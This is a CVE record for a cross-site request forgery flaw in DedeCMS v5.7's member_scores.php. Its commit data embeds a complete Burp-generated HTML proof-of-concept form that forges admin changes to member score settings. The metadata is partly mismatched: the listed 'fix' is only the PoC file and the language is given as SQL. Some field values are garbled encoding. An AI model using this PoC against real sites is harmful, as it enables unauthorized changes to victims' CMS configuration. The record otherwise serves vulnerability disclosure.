CVE-2024-30965 (published 2024-04-02T14:15Z)

DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /src/dede/member_scores.php.


Weakness information:
cwe_id: NVD-CWE-noinfo
cwe_name: Insufficient Information
description: There is insufficient information about the issue to classify it; details are unkown or unspecified.
extended_description: Insufficient Information

Fix information:
repo_url: https://github.com/Fishkey1/cms
commit_details: repo_url: https://github.com/Fishkey1/cms
author: Fishkey1
author_date: 2024-03-23 19:12:16+08:00
msg: Create 1.md
repository: repo_url: https://github.com/Fishkey1/cms
repo_name: Fishkey1/cms
owner: Fishkey1
file_changes: filename: 1.md
change_type: ModificationType.ADD
diff: @@ -0,0 +1,81 @@
+target:https://github.com/wdsunwq/DedeCMSv5
+version: v5.7
+
+DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /src/dede/member_scores.php
+![1](https://github.com/Fishkey1/cms/assets/164625271/8b909b5c-a852-404f-90bb-23f97d296174)
+
+Poc:
+
+```
+<html>
+  <!-- CSRF PoC - generated by Burp Suite Professional -->
+  <body>
+  <script>history.pushState('', '', '/')</script>
+    <form action="http://127.0.0.1/src/dede/member_scores.php" method="POST">
+      <input type="hidden" name="action" value="save" />
+      <input type="hidden" name="integral&#45;2" value="0" />
+      <input type="hidden" name="icon&#45;2" value="1" />
+      <input type="hidden" name="titles&#45;2" value="�&#136;&#151;�&#133;�" />
+      <input type="hidden" name="isdefault&#45;2" value="1" />
+      <input type="hidden" name="integral&#45;3" value="1000" />
+      <input type="hidden" name="icon&#45;3" value="2" />
+      <input type="hidden" name="titles&#45;3" value="�&#143;&#173;�&#149;&#191;" />
+      <input type="hidden" name="isdefault&#45;3" value="1" />
+      <input type="hidden" name="integral&#45;4" value="2000" />
+      <input type="hidden" name="icon&#45;4" value="3" />
+      <input type="hidden" name="titles&#45;4" value="�&#176;&#145;�&#176;&#137;" />
+      <input type="hidden" name="isdefault&#45;4" value="1" />
+      <input type="hidden" name="integral&#45;5" value="3000" />
+      <input type="hidden" name="icon&#45;5" value="4" />
+      <input type="hidden" name="titles&#45;5" value="�&#184;&#173;�&#176;&#137;" />
+      <input type="hidden" name="isdefault&#45;5" value="1" />
+      <input type="hidden" name="integral&#45;6" value="4000" />
+      <input type="hidden" name="icon&#45;6" value="5" />
+      <input type="hidden" name="titles&#45;6" value="�&#184;&#138;�&#176;&#137;" />
+      <input type="hidden" name="isdefault&#45;6" value="1" />
+      <input type="hidden" name="integral&#45;7" value="5000" />
+      <input type="hidden" name="icon&#45;7" value="6" />
+      <input type="hidden" name="titles&#45;7" value="�&#176;&#145;�&#160;&#161;" />
+      <input type="hidden" name="isdefault&#45;7" value="1" />
+      <input type="hidden" name="integral&#45;8" value="6000" />
+      <input type="hidden" name="icon&#45;8" value="7" />
+      <input type="hidden" name="titles&#45;8" value="�&#184;&#173;�&#160;&#161;" />
+      <input type="hidden" name="isdefault&#45;8" value="1" />
+      <input type="hidden" name="integral&#45;9" value="9000" />
+      <input type="hidden" name="icon&#45;9" value="8" />
+      <input type="hidden" name="titles&#45;9" value="�&#184;&#138;�&#160;&#161;" />
+      <input type="hidden" name="isdefault&#45;9" value="1" />
+      <input type="hidden" name="integral&#45;10" value="14000" />
+      <input type="hidden" name="icon&#45;10" value="9" />
+      <input type="hidden" name="titles&#45;10" value="�&#176;&#145;�&#176;&#134;" />
+      <input type="hidden" name="isdefault&#45;10" value="1" />
+      <input type="hidden" name="integral&#45;11" value="19000" />
+      <input type="hidden" name="icon&#45;11" value="10" />
+      <input type="hidden" name="titles&#45;11" value="�&#184;&#173;�&#176;&#134;" />
+      <input type="hidden" name="isdefault&#45;11" value="1" />
+      <input type="hidden" name="integral&#45;12" value="24000" />
+      <input type="hidden" name="icon&#45;12" value="11" />
+      <input type="hidden" name="titles&#45;12" value="�&#184;&#138;�&#176;&#134;" />
+      <input type="hidden" name="isdefault&#45;12" value="1" />
+      <input type="hidden" name="integral&#45;15" value="29000" />
+      <input type="hidden" name="icon&#45;15" value="12" />
+      <input type="hidden" name="titles&#45;15" value="�&#164;&#167;�&#176;&#134;" />
+      <input type="hidden" name="isdefault&#45;15" value="1" />
+      <input type="hidden" name="add&#95;integral" value="" />
+      <input type="hidden" name="add&#95;icon" value="" />
+      <input type="hidden" name="add&#95;titles" value="" />
+      <input type="hidden" name="add&#95;isdefault" value="1" />
+      <input type="hidden" name="imageField" value="�&#143;&#144;浜&#164;" />
+      <input type="submit" value="Submit request" />
+    </form>
+  </body>
+</html>
+
+```
+![2](https://github.com/Fishkey1/cms/assets/164625271/0b369563-4226-4bc6-8075-6fc836dcb156)
+
+
+
+successed
+
+![3](https://github.com/Fishkey1/cms/assets/164625271/feb0c762-0a1b-4748-a477-5bb63358a1a5)

programming_language: SQL